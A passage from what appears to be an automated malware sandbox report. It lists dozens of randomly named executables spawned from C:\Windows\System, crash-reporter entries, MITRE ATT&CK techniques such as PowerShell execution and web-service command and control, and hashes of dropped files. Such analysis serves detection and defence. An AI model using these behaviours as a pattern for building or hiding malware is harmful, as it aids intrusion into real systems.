  C:\Windows\System\eOlJECT.exe
  2⤵
  PID:13824
- C:\Windows\System\ksMcagw.exe
  C:\Windows\System\ksMcagw.exe
  2⤵
  PID:13848
- C:\Windows\System\sFzjGvj.exe
  C:\Windows\System\sFzjGvj.exe
  2⤵
  PID:13872
- C:\Windows\System\HSQUZLK.exe
  C:\Windows\System\HSQUZLK.exe
  2⤵
  PID:13964
- C:\Windows\System\ibqixgz.exe
  C:\Windows\System\ibqixgz.exe
  2⤵
  PID:13984
- C:\Windows\System\JtdiTBB.exe
  C:\Windows\System\JtdiTBB.exe
  2⤵
  PID:14000
- C:\Windows\System\akjtoJT.exe
  C:\Windows\System\akjtoJT.exe
  2⤵
  PID:14016
- C:\Windows\System\jMQSRtj.exe
  C:\Windows\System\jMQSRtj.exe
  2⤵
  PID:14044
- C:\Windows\System\PGEfwqs.exe
  C:\Windows\System\PGEfwqs.exe
  2⤵
  PID:14064
- C:\Windows\System\hgpUFFB.exe
  C:\Windows\System\hgpUFFB.exe
  2⤵
  PID:14080
- C:\Windows\System\AJfpPNv.exe
  C:\Windows\System\AJfpPNv.exe
  2⤵
  PID:14096
- C:\Windows\System\qKWEUNk.exe
  C:\Windows\System\qKWEUNk.exe
  2⤵
  PID:14112
- C:\Windows\System\YFfGBSI.exe
  C:\Windows\System\YFfGBSI.exe
  2⤵
  PID:14136
- C:\Windows\System\UApiqCW.exe
  C:\Windows\System\UApiqCW.exe
  2⤵
  PID:14164
- C:\Windows\System\ulqOVck.exe
  C:\Windows\System\ulqOVck.exe
  2⤵
  PID:14192
- C:\Windows\System\lhqNgJV.exe
  C:\Windows\System\lhqNgJV.exe
  2⤵
  PID:14208
- C:\Windows\System\KbElXOH.exe
  C:\Windows\System\KbElXOH.exe
  2⤵
  PID:14232
- C:\Windows\System\GlvGriR.exe
  C:\Windows\System\GlvGriR.exe
  2⤵
  PID:14248
- C:\Windows\System\jVzHSRS.exe
  C:\Windows\System\jVzHSRS.exe
  2⤵
  PID:14268
- C:\Windows\System\ZWlWnvE.exe
  C:\Windows\System\ZWlWnvE.exe
  2⤵
  PID:14288
- C:\Windows\System\YKoPHME.exe
  C:\Windows\System\YKoPHME.exe
  2⤵
  PID:14304
- C:\Windows\System\abZvoep.exe
  C:\Windows\System\abZvoep.exe
  2⤵
  PID:14324
- C:\Windows\System\dXkTDcP.exe
  C:\Windows\System\dXkTDcP.exe
  2⤵
  PID:8956
- C:\Windows\System\IQsyePB.exe
  C:\Windows\System\IQsyePB.exe
  2⤵
  PID:9144
- C:\Windows\System\GDFlUoN.exe
  C:\Windows\System\GDFlUoN.exe
  2⤵
  PID:9072
- C:\Windows\System\uCiaaVw.exe
  C:\Windows\System\uCiaaVw.exe
  2⤵
  PID:8932
- C:\Windows\System\vAGYntV.exe
  C:\Windows\System\vAGYntV.exe
  2⤵
  PID:6100
- C:\Windows\System\QNKYUWL.exe
  C:\Windows\System\QNKYUWL.exe
  2⤵
  PID:6680
- C:\Windows\System\ACyIoYE.exe
  C:\Windows\System\ACyIoYE.exe
  2⤵
  PID:8936
- C:\Windows\System\tjSkgGO.exe
  C:\Windows\System\tjSkgGO.exe
  2⤵
  PID:13356
- C:\Windows\System\TEMwBuQ.exe
  C:\Windows\System\TEMwBuQ.exe
  2⤵
  PID:7404
- C:\Windows\System\AzBOfJL.exe
  C:\Windows\System\AzBOfJL.exe
  2⤵
  PID:9172
- C:\Windows\System\ApwVUVf.exe
  C:\Windows\System\ApwVUVf.exe
  2⤵
  PID:13388
- C:\Windows\System\elwJiDp.exe
  C:\Windows\System\elwJiDp.exe
  2⤵
  PID:13404
- C:\Windows\System\mmsPjSZ.exe
  C:\Windows\System\mmsPjSZ.exe
  2⤵
  PID:13484
- C:\Windows\System\EmFInMy.exe
  C:\Windows\System\EmFInMy.exe
  2⤵
  PID:13508
- C:\Windows\System\QKrMKFW.exe
  C:\Windows\System\QKrMKFW.exe
  2⤵
  PID:9812
- C:\Windows\System\iRhrSlJ.exe
  C:\Windows\System\iRhrSlJ.exe
  2⤵
  PID:6604
- C:\Windows\System\cbCGHvA.exe
  C:\Windows\System\cbCGHvA.exe
  2⤵
  PID:9720
- C:\Windows\System\iQQRCve.exe
  C:\Windows\System\iQQRCve.exe
  2⤵
  PID:4028
- C:\Windows\System\CkUPQnf.exe
  C:\Windows\System\CkUPQnf.exe
  2⤵
  PID:9740
- C:\Windows\System\HOZnPfg.exe
  C:\Windows\System\HOZnPfg.exe
  2⤵
  PID:13788
- C:\Windows\System\NmNcTvo.exe
  C:\Windows\System\NmNcTvo.exe
  2⤵
  PID:13796
- C:\Windows\System\qauXnnG.exe
  C:\Windows\System\qauXnnG.exe
  2⤵
  PID:7316
- C:\Windows\System\mOtSjfr.exe
  C:\Windows\System\mOtSjfr.exe
  2⤵
  PID:9908
- C:\Windows\System\AryoUQE.exe
  C:\Windows\System\AryoUQE.exe
  2⤵
  PID:8692
- C:\Windows\System\GVlvUJX.exe
  C:\Windows\System\GVlvUJX.exe
  2⤵
  PID:9920
- C:\Windows\System\cfsDxxY.exe
  C:\Windows\System\cfsDxxY.exe
  2⤵
  PID:9936
- C:\Windows\System\JQLMEqi.exe
  C:\Windows\System\JQLMEqi.exe
  2⤵
  PID:13584
- C:\Windows\System\XVPimMs.exe
  C:\Windows\System\XVPimMs.exe
  2⤵
  PID:13424
- C:\Windows\System\PLthnVe.exe
  C:\Windows\System\PLthnVe.exe
  2⤵
  PID:13604
- C:\Windows\System\qLZCGsh.exe
  C:\Windows\System\qLZCGsh.exe
  2⤵
  PID:13480
- C:\Windows\System\eHqefOq.exe
  C:\Windows\System\eHqefOq.exe
  2⤵
  PID:13928
- C:\Windows\System\GmAhaNy.exe
  C:\Windows\System\GmAhaNy.exe
  2⤵
  PID:13532
- C:\Windows\System\EgyZTsQ.exe
  C:\Windows\System\EgyZTsQ.exe
  2⤵
  PID:13816
- C:\Windows\System\WTXyTwm.exe
  C:\Windows\System\WTXyTwm.exe
  2⤵
  PID:14012
- C:\Windows\System\nyoyHJo.exe
  C:\Windows\System\nyoyHJo.exe
  2⤵
  PID:14076
- C:\Windows\System\crXAZWr.exe
  C:\Windows\System\crXAZWr.exe
  2⤵
  PID:14144
- C:\Windows\System\OoJEwbR.exe
  C:\Windows\System\OoJEwbR.exe
  2⤵
  PID:14180
- C:\Windows\System\lYJBQCK.exe
  C:\Windows\System\lYJBQCK.exe
  2⤵
  PID:13892
- C:\Windows\System\dLYadvO.exe
  C:\Windows\System\dLYadvO.exe
  2⤵
  PID:13896
- C:\Windows\System\cXAcZQI.exe
  C:\Windows\System\cXAcZQI.exe
  2⤵
  PID:14024
- C:\Windows\System\ySNCQda.exe
  C:\Windows\System\ySNCQda.exe
  2⤵
  PID:14260
- C:\Windows\System\wAodycJ.exe
  C:\Windows\System\wAodycJ.exe
  2⤵
  PID:14284
- C:\Windows\System\fizIpbg.exe
  C:\Windows\System\fizIpbg.exe
  2⤵
  PID:13912
- C:\Windows\System\tDAPzDp.exe
  C:\Windows\System\tDAPzDp.exe
  2⤵
  PID:14092
- C:\Windows\System\TOfRGHh.exe
  C:\Windows\System\TOfRGHh.exe
  2⤵
  PID:9088
- C:\Windows\System\UslwYNa.exe
  C:\Windows\System\UslwYNa.exe
  2⤵
  PID:8848
- C:\Windows\System\kFQRYIK.exe
  C:\Windows\System\kFQRYIK.exe
  2⤵
  PID:14160
- C:\Windows\System\MSiEWJK.exe
  C:\Windows\System\MSiEWJK.exe
  2⤵
  PID:9052
- C:\Windows\System\ICvuRcu.exe
  C:\Windows\System\ICvuRcu.exe
  2⤵
  PID:13992
- C:\Windows\System\RXifXPZ.exe
  C:\Windows\System\RXifXPZ.exe
  2⤵
  PID:8928
- C:\Windows\System\sGsFJDp.exe
  C:\Windows\System\sGsFJDp.exe
  2⤵
  PID:8572
- C:\Windows\System\RhDaVqi.exe
  C:\Windows\System\RhDaVqi.exe
  2⤵
  PID:9956
- C:\Windows\System\qqzeuME.exe
  C:\Windows\System\qqzeuME.exe
  2⤵
  PID:7296
- C:\Windows\System\dAirfmZ.exe
  C:\Windows\System\dAirfmZ.exe
  2⤵
  PID:9064
- C:\Windows\System\IyTumVD.exe
  C:\Windows\System\IyTumVD.exe
  2⤵
  PID:9836
- C:\Windows\System\pyNouCd.exe
  C:\Windows\System\pyNouCd.exe
  2⤵
  PID:9824
- C:\Windows\System\SWzfUfu.exe
  C:\Windows\System\SWzfUfu.exe
  2⤵
  PID:9992
- C:\Windows\System\iAlXeQn.exe
  C:\Windows\System\iAlXeQn.exe
  2⤵
  PID:6884
- C:\Windows\System\PIRTJjk.exe
  C:\Windows\System\PIRTJjk.exe
  2⤵
  PID:13684
- C:\Windows\System\DmeBBFd.exe
  C:\Windows\System\DmeBBFd.exe
  2⤵
  PID:13720
- C:\Windows\System\vWWbukQ.exe
  C:\Windows\System\vWWbukQ.exe
  2⤵
  PID:13608
- C:\Windows\System\RHSPXHb.exe
  C:\Windows\System\RHSPXHb.exe
  2⤵
  PID:10112
- C:\Windows\System\HqSODtk.exe
  C:\Windows\System\HqSODtk.exe
  2⤵
  PID:7980
- C:\Windows\System\JFkAvxe.exe
  C:\Windows\System\JFkAvxe.exe
  2⤵
  PID:11752
- C:\Windows\System\DvnwJUB.exe
  C:\Windows\System\DvnwJUB.exe
  2⤵
  PID:9092
- C:\Windows\System\SjGqYIH.exe
  C:\Windows\System\SjGqYIH.exe
  2⤵
  PID:8180
- C:\Windows\System\uefspKh.exe
  C:\Windows\System\uefspKh.exe
  2⤵
  PID:13460
- C:\Windows\System\kYBntFH.exe
  C:\Windows\System\kYBntFH.exe
  2⤵
  PID:13784
- C:\Windows\System\zueRUIb.exe
  C:\Windows\System\zueRUIb.exe
  2⤵
  PID:7872
- C:\Windows\System\xTqiIpU.exe
  C:\Windows\System\xTqiIpU.exe
  2⤵
  PID:10132
- C:\Windows\System\kNbXAqi.exe
  C:\Windows\System\kNbXAqi.exe
  2⤵
  PID:6852
- C:\Windows\System\ExgokAH.exe
  C:\Windows\System\ExgokAH.exe
  2⤵
  PID:980
- C:\Windows\System\HctiBmi.exe
  C:\Windows\System\HctiBmi.exe
  2⤵
  PID:9700
- C:\Windows\System\avBzizp.exe
  C:\Windows\System\avBzizp.exe
  2⤵
  PID:10236
- C:\Windows\System\bgSnbii.exe
  C:\Windows\System\bgSnbii.exe
  2⤵
  PID:8264
- C:\Windows\System\UFkGKou.exe
  C:\Windows\System\UFkGKou.exe
  2⤵
  PID:10076
- C:\Windows\System\ouEUqaI.exe
  C:\Windows\System\ouEUqaI.exe
  2⤵
  PID:9684
- C:\Windows\System\TsoPGaA.exe
  C:\Windows\System\TsoPGaA.exe
  2⤵
  PID:9156
- C:\Windows\System\xnmfZlQ.exe
  C:\Windows\System\xnmfZlQ.exe
  2⤵
  PID:8024
- C:\Windows\System\PtCQfdI.exe
  C:\Windows\System\PtCQfdI.exe
  2⤵
  PID:8184
- C:\Windows\System\TuyYOtL.exe
  C:\Windows\System\TuyYOtL.exe
  2⤵
  PID:13472
- C:\Windows\System\SdaSzFa.exe
  C:\Windows\System\SdaSzFa.exe
  2⤵
  PID:13760
- C:\Windows\System\joOeehD.exe
  C:\Windows\System\joOeehD.exe
  2⤵
  PID:10108
- C:\Windows\System\SLIFLMz.exe
  C:\Windows\System\SLIFLMz.exe
  2⤵
  PID:10004
- C:\Windows\System\TLcunoI.exe
  C:\Windows\System\TLcunoI.exe
  2⤵
  PID:9784
- C:\Windows\System\WxNVHCb.exe
  C:\Windows\System\WxNVHCb.exe
  2⤵
  PID:9536
- C:\Windows\System\WRQjugK.exe
  C:\Windows\System\WRQjugK.exe
  2⤵
  PID:7948
- C:\Windows\System\NWPXAiR.exe
  C:\Windows\System\NWPXAiR.exe
  2⤵
  PID:9224
- C:\Windows\System\FywIPgs.exe
  C:\Windows\System\FywIPgs.exe
  2⤵
  PID:9736
- C:\Windows\System\xXyBPVp.exe
  C:\Windows\System\xXyBPVp.exe
  2⤵
  PID:13764
- C:\Windows\System\onhMcyg.exe
  C:\Windows\System\onhMcyg.exe
  2⤵
  PID:8888
- C:\Windows\System\pTKfuew.exe
  C:\Windows\System\pTKfuew.exe
  2⤵
  PID:13868
- C:\Windows\System\cmfpfTF.exe
  C:\Windows\System\cmfpfTF.exe
  2⤵
  PID:9732
- C:\Windows\System\ycLuCQf.exe
  C:\Windows\System\ycLuCQf.exe
  2⤵
  PID:10192
- C:\Windows\System\wjdWvAY.exe
  C:\Windows\System\wjdWvAY.exe
  2⤵
  PID:14152
- C:\Windows\System\LHftIPY.exe
  C:\Windows\System\LHftIPY.exe
  2⤵
  PID:9796
- C:\Windows\System\iOUDjSy.exe
  C:\Windows\System\iOUDjSy.exe
  2⤵
  PID:13840
- C:\Windows\System\yQNBXQB.exe
  C:\Windows\System\yQNBXQB.exe
  2⤵
  PID:8632
- C:\Windows\System\XpQrpwf.exe
  C:\Windows\System\XpQrpwf.exe
  2⤵
  PID:13904
- C:\Windows\System\lkIxLOt.exe
  C:\Windows\System\lkIxLOt.exe
  2⤵
  PID:10060
- C:\Windows\System\CijemTu.exe
  C:\Windows\System\CijemTu.exe
  2⤵
  PID:10148
- C:\Windows\System\nzdVfPk.exe
  C:\Windows\System\nzdVfPk.exe
  2⤵
  PID:9644
- C:\Windows\System\ZUNMXxg.exe
  C:\Windows\System\ZUNMXxg.exe
  2⤵
  PID:9752
- C:\Windows\System\rhgcRMs.exe
  C:\Windows\System\rhgcRMs.exe
  2⤵
  PID:2124
- C:\Windows\System\JqzcsNb.exe
  C:\Windows\System\JqzcsNb.exe
  2⤵
  PID:9004
- C:\Windows\System\WleyyIv.exe
  C:\Windows\System\WleyyIv.exe
  2⤵
  PID:7624
- C:\Windows\System\AjJFHEo.exe
  C:\Windows\System\AjJFHEo.exe
  2⤵
  PID:14240
- C:\Windows\System\IuvedzX.exe
  C:\Windows\System\IuvedzX.exe
  2⤵
  PID:14312
- C:\Windows\System\vMzZErm.exe
  C:\Windows\System\vMzZErm.exe
  2⤵
  PID:9164
- C:\Windows\System\NuJPXYu.exe
  C:\Windows\System\NuJPXYu.exe
  2⤵
  PID:10160
- C:\Windows\System\EhNXDke.exe
  C:\Windows\System\EhNXDke.exe
  2⤵
  PID:10000
- C:\Windows\System\rBvoKAK.exe
  C:\Windows\System\rBvoKAK.exe
  2⤵
  PID:2616
- C:\Windows\System\sLKmGmy.exe
  C:\Windows\System\sLKmGmy.exe
  2⤵
  PID:9388
- C:\Windows\System\WKRGahC.exe
  C:\Windows\System\WKRGahC.exe
  2⤵
  PID:7392
- C:\Windows\System\arEhcWd.exe
  C:\Windows\System\arEhcWd.exe
  2⤵
  PID:9428
- C:\Windows\System\qCUAhLQ.exe
  C:\Windows\System\qCUAhLQ.exe
  2⤵
  PID:9820
- C:\Windows\System\wMHZzrf.exe
  C:\Windows\System\wMHZzrf.exe
  2⤵
  PID:9084
- C:\Windows\System\KBgbprJ.exe
  C:\Windows\System\KBgbprJ.exe
  2⤵
  PID:8704
- C:\Windows\System\haoxOAS.exe
  C:\Windows\System\haoxOAS.exe
  2⤵
  PID:8348
- C:\Windows\System\tJVgnRW.exe
  C:\Windows\System\tJVgnRW.exe
  2⤵
  PID:10204
- C:\Windows\System\PzzdfGZ.exe
  C:\Windows\System\PzzdfGZ.exe
  2⤵
  PID:14128
- C:\Windows\System\rxuqJxn.exe
  C:\Windows\System\rxuqJxn.exe
  2⤵
  PID:13536
- C:\Windows\System\YGmnUnT.exe
  C:\Windows\System\YGmnUnT.exe
  2⤵
  PID:8368
- C:\Windows\System\yiXsemS.exe
  C:\Windows\System\yiXsemS.exe
  2⤵
  PID:14320
- C:\Windows\System\CIpmYqs.exe
  C:\Windows\System\CIpmYqs.exe
  2⤵
  PID:7180
- C:\Windows\System\soFjzTn.exe
  C:\Windows\System\soFjzTn.exe
  2⤵
  PID:13500
- C:\Windows\System\DOumaHo.exe
  C:\Windows\System\DOumaHo.exe
  2⤵
  PID:13540
- C:\Windows\System\IsxPwXe.exe
  C:\Windows\System\IsxPwXe.exe
  2⤵
  PID:8776
- C:\Windows\System\yewgymL.exe
  C:\Windows\System\yewgymL.exe
  2⤵
  PID:7568
- C:\Windows\System\jScMwAM.exe
  C:\Windows\System\jScMwAM.exe
  2⤵
  PID:9892
- C:\Windows\System\KWyefQj.exe
  C:\Windows\System\KWyefQj.exe
  2⤵
  PID:10116
- C:\Windows\System\fhzwzFz.exe
  C:\Windows\System\fhzwzFz.exe
  2⤵
  PID:7252
- C:\Windows\System\yJikKzH.exe
  C:\Windows\System\yJikKzH.exe
  2⤵
  PID:9940
- C:\Windows\System\PwiToUi.exe
  C:\Windows\System\PwiToUi.exe
  2⤵
  PID:7876
- C:\Windows\System\QnknMOp.exe
  C:\Windows\System\QnknMOp.exe
  2⤵
  PID:13464
- C:\Windows\System\rTydhMD.exe
  C:\Windows\System\rTydhMD.exe
  2⤵
  PID:3920
- C:\Windows\System\oIFstHt.exe
  C:\Windows\System\oIFstHt.exe
  2⤵
  PID:7752
- C:\Windows\System\AZNGbdX.exe
  C:\Windows\System\AZNGbdX.exe
  2⤵
  PID:13516
- C:\Windows\System\OokPJCD.exe
  C:\Windows\System\OokPJCD.exe
  2⤵
  PID:13932
- C:\Windows\System\wteztHo.exe
  C:\Windows\System\wteztHo.exe
  2⤵
  PID:6336
- C:\Windows\System\hyUMyFO.exe
  C:\Windows\System\hyUMyFO.exe
  2⤵
  PID:9468
- C:\Windows\System\LiBHMGO.exe
  C:\Windows\System\LiBHMGO.exe
  2⤵
  PID:4344
- C:\Windows\System\YDIevKi.exe
  C:\Windows\System\YDIevKi.exe
  2⤵
  PID:10048
- C:\Windows\System\MbTICLx.exe
  C:\Windows\System\MbTICLx.exe
  2⤵
  PID:9404
- C:\Windows\System\UBcXFBL.exe
  C:\Windows\System\UBcXFBL.exe
  2⤵
  PID:1168
- C:\Windows\System\dDRohOk.exe
  C:\Windows\System\dDRohOk.exe
  2⤵
  PID:9664
- C:\Windows\System\IBJTaGe.exe
  C:\Windows\System\IBJTaGe.exe
  2⤵
  PID:10040
- C:\Windows\System\VPCHayH.exe
  C:\Windows\System\VPCHayH.exe
  2⤵
  PID:10288
- C:\Windows\System\duKWQwq.exe
  C:\Windows\System\duKWQwq.exe
  2⤵
  PID:9276
- C:\Windows\System\vELbLGg.exe
  C:\Windows\System\vELbLGg.exe
  2⤵
  PID:11172
- C:\Windows\System\UDdkIii.exe
  C:\Windows\System\UDdkIii.exe
  2⤵
  PID:10080
- C:\Windows\System\xxlUfyG.exe
  C:\Windows\System\xxlUfyG.exe
  2⤵
  PID:13636
- C:\Windows\System\FylxSRV.exe
  C:\Windows\System\FylxSRV.exe
  2⤵
  PID:9360
- C:\Windows\System\CMcmnEh.exe
  C:\Windows\System\CMcmnEh.exe
  2⤵
  PID:10300
- C:\Windows\System\DXqfSZd.exe
  C:\Windows\System\DXqfSZd.exe
  2⤵
  PID:10332
- C:\Windows\System\EtzIdVO.exe
  C:\Windows\System\EtzIdVO.exe
  2⤵
  PID:10360
- C:\Windows\System\xTznoxH.exe
  C:\Windows\System\xTznoxH.exe
  2⤵
  PID:7732
- C:\Windows\System\bccPSNt.exe
  C:\Windows\System\bccPSNt.exe
  2⤵
  PID:10712
- C:\Windows\System\zCCiiOb.exe
  C:\Windows\System\zCCiiOb.exe
  2⤵
  PID:10520
- C:\Windows\System\IZADPdB.exe
  C:\Windows\System\IZADPdB.exe
  2⤵
  PID:13592
- C:\Windows\System\OKYqeip.exe
  C:\Windows\System\OKYqeip.exe
  2⤵
  PID:9768
- C:\Windows\System\lyTyaof.exe
  C:\Windows\System\lyTyaof.exe
  2⤵
  PID:9304

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 432 -p 11564 -ip 11564
1⤵
PID:2192

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 476 -p 10816 -ip 10816
1⤵
PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xxokkyij.eqw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\IuzWwUX.exe

Filesize
1.6MB

MD5
415285dd300e66085be05d6fe5f683f8

SHA1
339a4d76f2faf8fe633d2267fba919faa048fb7a

SHA256
f61f7d57f8f93b9edc0d017e00ad10ad28e885cefeb515f1c77d626214d05981

SHA512
1bce4f3d95477df9784bfa4ddbceef09f851dfe211a992980baa5c4598610ff55bae38cfabc477b6d64615e3ae1559c1e628301000559c414e0241c31679de43

Download Submit
C:\Windows\System\LbFNcdO.exe

Filesize
1.6MB

MD5
5ea8d23425cd4ac61a635d35b69d9d2b

SHA1
d8516f5c0c29ba41004e089e5f1657d64fc23a26

SHA256
62605b4e944d637fe9759acd3f2ab4061b3e5b89a196a3e8a34e3805fc6805f9

SHA512
244e7b327d2f8d45abab2132cb689f617cd7b9a35b6cbde8835cbb7d3d35eceb58003f93361155b0a88cc0f7483ef25adaf88dd617fbf66f8692008ba3a93d7d

Download Submit
C:\Windows\System\NoYvIKO.exe

Filesize
1.6MB

MD5
e9f3ac4ac54e343cb578973d9e080160

SHA1
cad7d7ff83b6298cf476dd4b16c3543564411f96

SHA256
437c7524df2b5128229c74ed699e8f2fe939785943f90b731d342e1e5ae309ea

SHA512
ec2aa2eb2a9b1e1f1e1f27b30cb688a21626a16e23f6490b9f775d71b4a29f6f02a02b50e2001b707acec5d6319c59ee8ac8d46781d79421d0e12c05d4be2830

Download Submit
C:\Windows\System\OQeyuep.exe

Filesize
1.6MB

MD5
e3aad512ca0ae26afbc7afe21dc4f74d

SHA1
79f1f0b2fdcd29f0a7792297af25861f3fea86bc

SHA256
7008dc9a0ee368e2102fb1aa7346b303c25ba3f07a9bfb10d7f811c03fe5674f

SHA512
0e9ae969b50ccb8671d429689fd1daef3f4bd25d510717b8454cd99d22b67611416c103cfdda0556fd5291477a617761c9470e05db1ff2ab007920f1c8b578a9

Download Submit
C:\Windows\System\OotwZLP.exe

Filesize
1.6MB

MD5
d73b862ed562a7d74c8dab34427d9ac6

SHA1
87c721da155616147128b1ccad24ea21c4b1769b

SHA256
2f01b0ba56f72ce6bcd641f97fb39135821f7d2cd03f798dcd96aa7a4558ef75

SHA512
66ec10c6d9147133a830527124fc17bf755c2b7a85e29dc8b632d5e85e03ccbf288dada0f83b6a45c36d9a8b8f9f3b4f85f6f937e9df0095de49a7c203fc6199

Download Submit
C:\Windows\System\QInSHRZ.exe

Filesize
1.6MB

MD5
1c5fdef84caf2df4a278c0d1cc99e2b7

SHA1
0bbf33dcf445ecba47378c1beaf4b8f196186447

SHA256
189f095d0d74aafc54e7358ed0eae54332fe23ac636d553a25f2278dbfbcf347

SHA512
e7aa9e31e83626bf464d8340ebd34b6a97fd5fd8e208a7428604dfef15f88714175bfe1477db0aca478e02b99d1397c04e9878258cd3beb503621ff4958b9798

Download Submit
C:\Windows\System\TVdduEC.exe

Filesize
832KB

MD5
04b2818512c5d6345ae485c6de28f965

SHA1
36cc2926df884106e3ecc41e82f70936fac928c0

SHA256
795f508f705c91d2567b77b8f1e8778745428e194518b07fe26c069beaa12ae0

SHA512
604b68db0253ba5341c3953497c3cb5887f17fa2253247fda676ff852c5ea8b1a96f5b58d3f1bc94eb12ab15216a180f72ffce1e2110dd44757efe09335ed340

Download Submit
C:\Windows\System\TiyRKej.exe

Filesize
1.6MB

MD5
b5b7615b40965465c89a6b87f4b4da97

SHA1
b528d9781c022749eb5526705e21f0c30dcc20e4

SHA256
c1b76def799aa6363d64b1d9fa2941958009bf9e2feff835db48d0c178e50580

SHA512
2af2cc4b28d30f7db8b68bb26418fe1e0d1617e2c2e0df863255f1437f0e0ac1e48b76915366f2b8aff0fa27d8ee8bd45e2d32ab373a31c4d866b3ec397839db

Download Submit
C:\Windows\System\UHWksVt.exe

Filesize
1.6MB

MD5
8d0669513c6a5cd18b88841a8faa0b0e

SHA1
c743b02d4119963d7d955f3b9af5535c4f6ef7b5

SHA256
02db25aef95c5b26ac289b5f8d3963c7c0736b2a57f4f261412ad63da1a453dd

SHA512
f7b82ffd7685aa4ebe6a2e52f8c716b124ac0e31049523e3a987c36901d04db782ae4339c30f4d0276cd2ef0c48628caa37ae80a798b504bef617d67f992c965

Download Submit
C:\Windows\System\UHWksVt.exe

Filesize
768KB

MD5
991c6ad54aac27300ef30f94eda30957

SHA1
f07c748e9f25189e152af897cae40cbe1fe115eb

SHA256
2785afcee16b5564115ed0a4776adb80cdf43894247b1653d61ed930c54ccb0d

SHA512
e0a7cd0d1c51a3b4180f2e509daab68c3db98c7dc15c9e097f29c329b6f52841e836d5e8e92fc4ffd50dec51915fbfe33b06a10d10c5d38d47d0fcec2d4c3c07

Download Submit
C:\Windows\System\UKYnQrM.exe

Filesize
1.6MB

MD5
4c18280a1cff384160f43050bf8f3993

SHA1
728b1b19fc26e3f4f61ad3ef33878edf88431f9d

SHA256
1d9006c2b3ef0b5a33550530259cc51414f84712d116f93719eefb25b1721a49

SHA512
d570d79107712dfdb1065e28bd977fa8503cb17899f5ecc02a6656451882afa4f4044b0f924dbb4ff3715f53ffc8fc87647d8f388db58c006ac4aa880cb502a9

Download Submit
C:\Windows\System\UKYnQrM.exe

Filesize
1.2MB

MD5
9dc2d4f6deb0b44f5ac8a3c0bb55ab5a

SHA1
23e387d4d318f9152649f89c643a6a9816e51857

SHA256
44fa6391ca620f904f00ca59939cdbb5dcec30b6979c246e644e0507805411db

SHA512
505766d19278f79ff5550aacc2e4a7bc35bd04524cc6c7771b9c0c8ab5a26fd425022d528a7517bb32073e0187e9352727ed7db9349ac61490a2dddb6055e70a

Download Submit
C:\Windows\System\UZuThRE.exe

Filesize
1.6MB

MD5
62bcf5c0c371e39e3afc53629a298eb5

SHA1
b01f1ecd8cba94035345eddc81d644094e9b2029

SHA256
eb5fd7e90c0f6db11cc8d2d367e11ba4f803fb830af34f55da0698dab2b5246c

SHA512
922838f7aaa1eb2504a6d554dab079d88fef34bc970925daabf9f27511a37c0fff5b9f5b18f5e3d88e9f1f15a6611945c78e43423c007a7cb0456204753b7549

Download Submit
C:\Windows\System\VQymbxp.exe

Filesize
1.6MB

MD5
5aeddc53d36dfb9d070db2951d3d55a0

SHA1
89614c59dd0ae51579c0637f0045036cb1ec94ce

SHA256
474edd3c489ccb54bdf1d3f00a6c12fbad5065adb1455f08b47f6229885de61d

SHA512
a1d7c18069d464388551911e03a8cbb5dfa3141483fb353fa01f5aa05efafc8313258c381f9965058a0f94ab0f88526e06bbdda2eddf285c9e3bed38d7e49e07

Download Submit
C:\Windows\System\WscttYZ.exe

Filesize
1.6MB

MD5
9443db6d08b66f7740bac816733b90f9

SHA1
f72e0faaa6864d157a042b97849a2362c5998be1

SHA256
b2cc204c015f7e1dc02b4e1c63f43b975c8b7a72ffc6aec0eaab0ccb2ebd072e

SHA512
1aa44beb16414ee7fe7324fb1b30989c305815f5c84b250ffb47f22a4b67bf418037b62e724f3292ef05780842ccec4025bfcf59f78294cecbf5c86e04506570

Download Submit
C:\Windows\System\WscttYZ.exe

Filesize
1.1MB

MD5
7342fa994f3dcb97a55c5ac94ef9e128

SHA1
40673f757c6cce26d772019213ebff0fb3d6185f

SHA256
cc61310b5db2799950ba5a2e6ff6d5773bb1d68ca8279d8c314d067d65841208

SHA512
f0402a83a9467ce97cb883e5cc259ad19b6acc489847085a99a8fb48a0095b2129a63e9eea11bfb3cdb1154b83bdda9b9263dc5d017c6895fbccc0a126af6c72

Download Submit
C:\Windows\System\YdHXdBO.exe

Filesize
1.6MB

MD5
6866f5a21b877a977b69089d76f35e2c

SHA1
707fe32b6bf0e8cae695538373fdfeb4d3d11439

SHA256
6428181ac21115f0295e71b68263cb985c29d48dc82d9e59c4fe03a88cd06e2d

SHA512
6256ccb4edad0b4a525cb7c33b5d622d119c518abdbc6d14633870191376453e1f0278209faf703f1c12675a11575b1ccfb310d947e8c8cd50e38bb6a3d0a9a2

Download Submit
C:\Windows\System\YdHXdBO.exe

Filesize
1.2MB

MD5
d8c0858ada91a72cdd48aeba686ecde8

SHA1
66ccb45b5a0fe7fa337d396a131c8509531c9dcd

SHA256
0009e6ca03629c4f09fc963f7f7508875203e57aaa682767f439acd9ccf1d614

SHA512
e2c61f5963f59bf3f5fd714fa451a1bfd9424725abb20aa8c59ebca0492b38bd982c7f0fddf21a12cc2a47540cabd2b66da52a7031aa1a39971fe4b323328299

Download Submit
C:\Windows\System\bTujRYQ.exe

Filesize
1.6MB

MD5
ef51d3f823f47f84bd257386c41c5791

SHA1
1159a54cf0a65e04d2fa0cb88c8ec82344699639

SHA256
9c38b2371b5bf30e66c97ae896fd849739aacb96061091a682e2f7992e7b4b45

SHA512
6aec016520492fa7ed9c340218f914c30ee2255dce49de4922b07b6868e2348a6d8f9fd5c188f20ef44188df24c8102b2ad5de978338911eebb4437f36481c1b

Download Submit
C:\Windows\System\dnxAHLt.exe

Filesize
1.6MB

MD5
